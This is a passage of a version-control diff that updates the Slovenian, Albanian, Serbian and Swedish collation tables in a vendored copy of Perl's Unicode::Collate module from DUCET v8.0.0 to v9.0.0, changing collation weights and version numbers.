+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sl.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sl.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sl.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,17 +1,17 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-010D      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-017E      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sq.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sq.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sq.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,49 +1,49 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E7      ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-0063 0327 ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-00C7      ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-0043 0327 ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-0064 0068 ; [.1C24.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER H>
-0064 0048 ; [.1C24.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER H>
-0044 0068 ; [.1C24.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER H>
-0044 0048 ; [.1C24.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER H>
-00EB      ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
-0065 0308 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
-00CB      ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
-0045 0308 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
-0067 006A ; [.1C92.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER J>
-0067 004A ; [.1C92.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER J>
-0047 006A ; [.1C92.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER J>
-0047 004A ; [.1C92.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER J>
-006C 006C ; [.1D24.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
-006C 004C ; [.1D24.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L>
-004C 006C ; [.1D24.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
-004C 004C ; [.1D24.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
-006E 006A ; [.1D57.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER J>
-006E 004A ; [.1D57.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER J>
-004E 006A ; [.1D57.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER J>
-004E 004A ; [.1D57.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER J>
-0072 0072 ; [.1DEB.0020.0002] # <LATIN SMALL LETTER R, LATIN SMALL LETTER R>
-0072 0052 ; [.1DEB.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER R, LATIN CAPITAL LETTER R>
-0052 0072 ; [.1DEB.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER R, LATIN SMALL LETTER R>
-0052 0052 ; [.1DEB.0020.0008] # <LATIN CAPITAL LETTER R, LATIN CAPITAL LETTER R>
-0073 0068 ; [.1E0F.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
-0073 0048 ; [.1E0F.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER H>
-0053 0068 ; [.1E0F.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
-0053 0048 ; [.1E0F.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
-0074 0068 ; [.1E2F.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER H>
-0074 0048 ; [.1E2F.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER H>
-0054 0068 ; [.1E2F.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER H>
-0054 0048 ; [.1E2F.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER H>
-0078 0068 ; [.1E85.0020.0002] # <LATIN SMALL LETTER X, LATIN SMALL LETTER H>
-0078 0048 ; [.1E85.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER X, LATIN CAPITAL LETTER H>
-0058 0068 ; [.1E85.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER X, LATIN SMALL LETTER H>
-0058 0048 ; [.1E85.0020.0008] # <LATIN CAPITAL LETTER X, LATIN CAPITAL LETTER H>
-007A 0068 ; [.1EB8.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER H>
-007A 0048 ; [.1EB8.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER H>
-005A 0068 ; [.1EB8.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER H>
-005A 0048 ; [.1EB8.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER H>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E7      ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+0063 0327 ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+00C7      ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+0043 0327 ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+0064 0068 ; [.1CA9.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER H>
+0064 0048 ; [.1CA9.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER H>
+0044 0068 ; [.1CA9.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER H>
+0044 0048 ; [.1CA9.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER H>
+00EB      ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
+0065 0308 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
+00CB      ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
+0045 0308 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
+0067 006A ; [.1D17.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER J>
+0067 004A ; [.1D17.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER J>
+0047 006A ; [.1D17.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER J>
+0047 004A ; [.1D17.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER J>
+006C 006C ; [.1DA9.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
+006C 004C ; [.1DA9.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L>
+004C 006C ; [.1DA9.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
+004C 004C ; [.1DA9.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
+006E 006A ; [.1DDC.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER J>
+006E 004A ; [.1DDC.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER J>
+004E 006A ; [.1DDC.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER J>
+004E 004A ; [.1DDC.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER J>
+0072 0072 ; [.1E70.0020.0002] # <LATIN SMALL LETTER R, LATIN SMALL LETTER R>
+0072 0052 ; [.1E70.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER R, LATIN CAPITAL LETTER R>
+0052 0072 ; [.1E70.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER R, LATIN SMALL LETTER R>
+0052 0052 ; [.1E70.0020.0008] # <LATIN CAPITAL LETTER R, LATIN CAPITAL LETTER R>
+0073 0068 ; [.1E94.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
+0073 0048 ; [.1E94.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER H>
+0053 0068 ; [.1E94.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
+0053 0048 ; [.1E94.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
+0074 0068 ; [.1EB4.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER H>
+0074 0048 ; [.1EB4.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER H>
+0054 0068 ; [.1EB4.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER H>
+0054 0048 ; [.1EB4.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER H>
+0078 0068 ; [.1F0A.0020.0002] # <LATIN SMALL LETTER X, LATIN SMALL LETTER H>
+0078 0048 ; [.1F0A.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER X, LATIN CAPITAL LETTER H>
+0058 0068 ; [.1F0A.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER X, LATIN SMALL LETTER H>
+0058 0048 ; [.1F0A.0020.0008] # <LATIN CAPITAL LETTER X, LATIN CAPITAL LETTER H>
+007A 0068 ; [.1F3D.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER H>
+007A 0048 ; [.1F3D.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER H>
+005A 0068 ; [.1F3D.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER H>
+005A 0048 ; [.1F3D.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER H>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sr.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sr.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sr.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,8 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    suppress => [0x0418, 0x0438],
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0439      ; [.1FFB.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I
-0419      ; [.1FFB.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0439      ; [.2080.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I
+0419      ; [.2080.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,89 +1,89 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-0077      ; [.1E5E.0021.0002] # LATIN SMALL LETTER W
-0057      ; [.1E5E.0021.0008] # LATIN CAPITAL LETTER W
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E5      ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F11.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-00E4      ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E6      ; [.1F12.0021.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-0119      ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F6      ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00F8      ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-0151      ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F13.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F13.0023.0008] # LATIN CAPITAL LIGATURE OE
-00F4      ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1F13.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1F13.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1F13.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1F13.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1F13.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1F13.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1F13.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1F13.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1F13.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1F13.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+0077      ; [.1EE3.0021.0002] # LATIN SMALL LETTER W
+0057      ; [.1EE3.0021.0008] # LATIN CAPITAL LETTER W
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E5      ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F96.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+00E4      ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E6      ; [.1F97.0021.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+0119      ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F6      ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00F8      ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+0151      ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
